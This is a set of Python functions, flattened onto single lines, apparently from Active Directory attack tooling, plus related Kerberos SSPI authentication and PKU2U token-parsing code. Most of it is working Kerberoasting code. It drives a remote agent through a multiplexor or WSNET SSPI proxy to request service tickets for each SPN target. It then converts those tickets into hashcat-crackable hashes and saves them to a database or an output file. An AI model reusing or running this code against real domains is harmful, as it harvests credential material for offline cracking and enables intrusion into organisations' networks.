async def kerberoast_multiplexor(self): try: from multiplexor.operator.external.sspi import KerberosSSPIClient from multiplexor.operator import MultiplexorOperator except ImportError as error: return None, Exception('Failed to import multiplexor module! You will need to install multiplexor to get this working!') try: ws_logger = logging.getLogger('websockets') ws_logger.setLevel(100) url_e = urlparse(self.kerb_url) agentid = url_e.path.replace('/','') operator = MultiplexorOperator(self.kerb_url) await operator.connect() #creating virtual sspi server for uid in self.targets_spn: try: server_info = await operator.start_sspi(agentid) #print(server_info) sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port']) #print(sspi_url) ksspi = KerberosSSPIClient(sspi_url) await ksspi.connect() apreq, err = await ksspi.authenticate(self.targets_spn[uid].get_formatted_pname()) if err is not None: logger.debug('[SPN-MP] error occurred while roasting %s: %s' % (self.targets_spn[uid].get_formatted_pname(), err)) continue unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native t = KerberoastTable.from_hash(self.ad_id, uid, TGSTicket2hashcat(aprep)) self.session.add(t) self.total_targets_finished += 1 if self.progress_queue is not None: msg = GathererProgress() msg.type = GathererProgressType.KERBEROAST msg.msg_type = MSGTYPE.PROGRESS msg.adid = self.ad_id msg.domain_name = self.domain_name msg.total = self.total_targets msg.total_finished = self.total_targets_finished msg.step_size = 1 await self.progress_queue.put(msg) except Exception as e: logger.debug('[SPN-MP] Error while roasting %s. %s' % (uid, e)) finally: try: await ksspi.disconnect() except: pass self.session.commit() except Exception as e: return None, e
async def spnmultiplexor(args): try: from multiplexor.operator.external.sspi import KerberosSSPIClient from multiplexor.operator import MultiplexorOperator except ImportError as error: print('Failed to import multiplexor module! You will need to install multiplexor to get this working!') logger = logging.getLogger('websockets') logger.setLevel(100) if args.verbose > 2: logger.setLevel(logging.INFO) try: logging.debug('[SPN-MP] input URL: %s' % args.mp_url) url_e = urlparse(args.mp_url) agentid = url_e.path.replace('/','') logging.debug('[SPN-MP] agentid: %s' % agentid) targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception('No targets were specified! Either use target file or specify target via cmdline') logging.debug('[SPN-MP] loaded %s targets' % len(targets)) operator = MultiplexorOperator(args.mp_url) await operator.connect() #creating virtual sspi server results = [] for target in targets: server_info = await operator.start_sspi(agentid) #print(server_info) sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port']) #print(sspi_url) ksspi = KerberosSSPIClient(sspi_url) await ksspi.connect() apreq, err = await ksspi.authenticate(target.get_formatted_pname()) if err is not None: logging.debug('[SPN-MP] error occurred while roasting %s: %s' % (target.get_formatted_pname(), err)) continue unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native results.append(TGSTicket2hashcat(aprep)) if args.out_file: with open(args.out_file, 'w', newline = '') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) except Exception as e: logging.exception('[SPN-MP] exception!')
async def kerberoast_sspiproxy(self): try: from wsnet.operator.sspiproxy import WSNETSSPIProxy url = self.kerb_url agentid = None o = urlparse(self.kerb_url) if o.query: q = parse_qs(o.query) agentid = q.get('agentid', [None])[0] if agentid is not None: agentid = bytes.fromhex(agentid) for uid in self.targets_spn: if self.targets_spn[uid].get_formatted_pname().lower( ).startswith('krbtgt'): continue sspi = WSNETSSPIProxy(url, agentid) status, ctxattr, apreq, err = await sspi.authenticate( 'KERBEROS', '', self.targets_spn[uid].get_formatted_pname(), 3, 2048, authdata=b'') if err is not None: print(err.__traceback__) print('Failed to get ticket for %s Reason: %s' % (self.targets_spn[uid].get_formatted_pname(), str(err))) continue unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native t = KerberoastTable.from_hash(self.ad_id, uid, TGSTicket2hashcat(aprep)) self.db_session.add(t) self.total_targets_finished += 1 if self.progress_queue is not None: msg = GathererProgress() msg.type = GathererProgressType.KERBEROAST msg.msg_type = MSGTYPE.PROGRESS msg.adid = self.ad_id msg.domain_name = self.domain_name msg.total = self.total_targets msg.total_finished = self.total_targets_finished msg.step_size = 1 await self.progress_queue.put(msg) self.db_session.commit() except Exception as e: return None, e
async def authenticate(self, authData=None, flags=None, seq_number=0, cb_data=None): try: status, ctxattr, apreq, err = await self.sspi.authenticate( 'KERBEROS', '', self.settings.target.to_target_string(), 3, self.flags.value, authdata=b'') if err is not None: raise err self.flags = ISC_REQ(ctxattr) self.session_key, err = await self.sspi.get_sessionkey() if err is not None: return None, None, err unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native subkey = Key(aprep['ticket']['enc-part']['etype'], self.session_key) self.gssapi = get_gssapi(subkey) if aprep['ticket']['enc-part']['etype'] != 23: if ISC_REQ.CONFIDENTIALITY in self.flags: raw_seq_data, err = await self.sspi.get_sequenceno() if err is not None: return None, None, err self.seq_number = GSSWrapToken.from_bytes( raw_seq_data[16:]).SND_SEQ return unwrap.data[2:], False, None except Exception as e: return None, None, e
async def authenticate(self, authData=None, flags=None, seq_number=0, cb_data=None): #authdata is only for api compatibility reasons if self.ksspi is None: await self.start_remote_kerberos() try: apreq, res = await self.ksspi.authenticate( self.settings.target.to_target_string(), flags=str(self.flags.value)) #print('MULTIPLEXOR KERBEROS SSPI, APREQ: %s ERROR: %s' % (apreq, res)) if res is not None: return None, None, res # here it seems like we get the full token not just the apreq data... # so we need to discard the layers self.session_key, err = await self.ksspi.get_session_key() if err is not None: return None, None, err unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native subkey = Key(aprep['ticket']['enc-part']['etype'], self.session_key) self.gssapi = get_gssapi(subkey) if aprep['ticket']['enc-part']['etype'] != 23: raw_seq_data, err = await self.ksspi.get_seq_number() if err is not None: return None, None, err self.seq_number = GSSWrapToken.from_bytes( raw_seq_data[16:]).SND_SEQ return unwrap.data[2:], False, res except Exception as e: return None, None, e
def from_buffer(buff): t = PKU2U_TOKEN() t_hdr = buff.tell() buff.read(1) # 0x60 total_length = cl_buff(buff) buff.read(1) # 0x06 total_length += buff.tell() - t_hdr - 1 oid_length = cl_buff(buff) t_oid = buff.read(oid_length) t.tok_id = PKU2U_TOKEN_TYPE(buff.read(2)) t_data = buff.read(total_length - buff.tell()) #t.inner_token_raw = t_data if t.tok_id == PKU2U_TOKEN_TYPE.KRB_AS_REQ: t.inner_token = AS_REQ.load(t_data) elif t.tok_id == PKU2U_TOKEN_TYPE.KRB_AS_REP: t.inner_token = AS_REP.load(t_data) elif t.tok_id == PKU2U_TOKEN_TYPE.KRB_AP_REQ: t.inner_token = AP_REQ.load(t_data) elif t.tok_id == PKU2U_TOKEN_TYPE.KRB_AP_REP: t.inner_token = AP_REP.load(t_data) else: t.inner_token = t_data return t
async def authenticate(self, authData=None, flags=None, seq_number=0, cb_data=None): """ This function is called (multiple times depending on the flags) to perform authentication. """ try: if self.iterations == 0: self.ksspi = KerberosMSLDAPSSPI(domain=self.domain, username=self.username, password=self.password) token, self.actual_ctx_flags = self.ksspi.get_ticket_for_spn( self.spn, ctx_flags=self.flags) self.iterations += 1 if ISC_REQ.MUTUAL_AUTH in self.actual_ctx_flags or ISC_REQ.USE_DCE_STYLE in self.actual_ctx_flags: #in these cases continuation is needed return token, True, None else: #no mutual or dce auth will take one step only _, err = self.get_session_key() if err is not None: return None, None, err apreq = AP_REQ.load(token).native subkey = Key(apreq['ticket']['enc-part']['etype'], self.session_key) self.gssapi = get_gssapi(subkey) self.get_seq_number() return token, False, None else: adata = authData[16:] if ISC_REQ.USE_DCE_STYLE in self.actual_ctx_flags: adata = authData token, self.actual_ctx_flags = self.ksspi.get_ticket_for_spn( self.spn, ctx_flags=self.actual_ctx_flags, token_data=adata) if ISC_REQ.USE_DCE_STYLE in self.actual_ctx_flags: #Using DCE style 3-legged auth aprep = AP_REP.load(token).native else: aprep = AP_REP.load(adata).native subkey = Key(aprep['enc-part']['etype'], self.get_session_key()) _, err = self.get_session_key() if err is not None: return None, None, err _, err = self.get_seq_number() if err is not None: return None, None, err subkey = Key(token['enc-part']['etype'], self.session_key) self.gssapi = get_gssapi(subkey) self.iterations += 1 return token, False, None except Exception as e: return None, None, e